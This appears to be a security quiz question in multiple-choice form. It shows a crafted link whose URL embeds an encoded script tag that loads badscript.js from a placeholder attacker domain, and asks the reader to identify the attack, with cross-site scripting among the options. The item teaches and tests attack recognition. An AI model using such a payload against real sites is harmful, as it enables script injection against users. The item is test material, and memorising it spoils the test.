What is this attack?

This is an attack that takes advantage of a web site vulnerability in which the site displays content
that includes un-sanitized user-provided data.
<ahref=”http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js
%22%3E%3C/script%3E”>See foobar</a>
What is this attack?

A.
Cross-site-scripting attack

B.
SQL Injection

C.
URL Traversal attack

D.
Buffer Overflow attack